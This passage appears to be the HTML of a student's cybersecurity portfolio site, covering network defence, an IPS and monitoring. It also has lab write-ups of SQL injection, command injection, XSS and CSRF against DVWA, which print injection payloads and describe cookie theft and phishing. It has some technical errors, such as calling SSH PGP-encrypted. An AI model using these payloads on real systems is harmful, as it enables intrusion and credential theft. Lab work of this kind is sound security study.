text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to 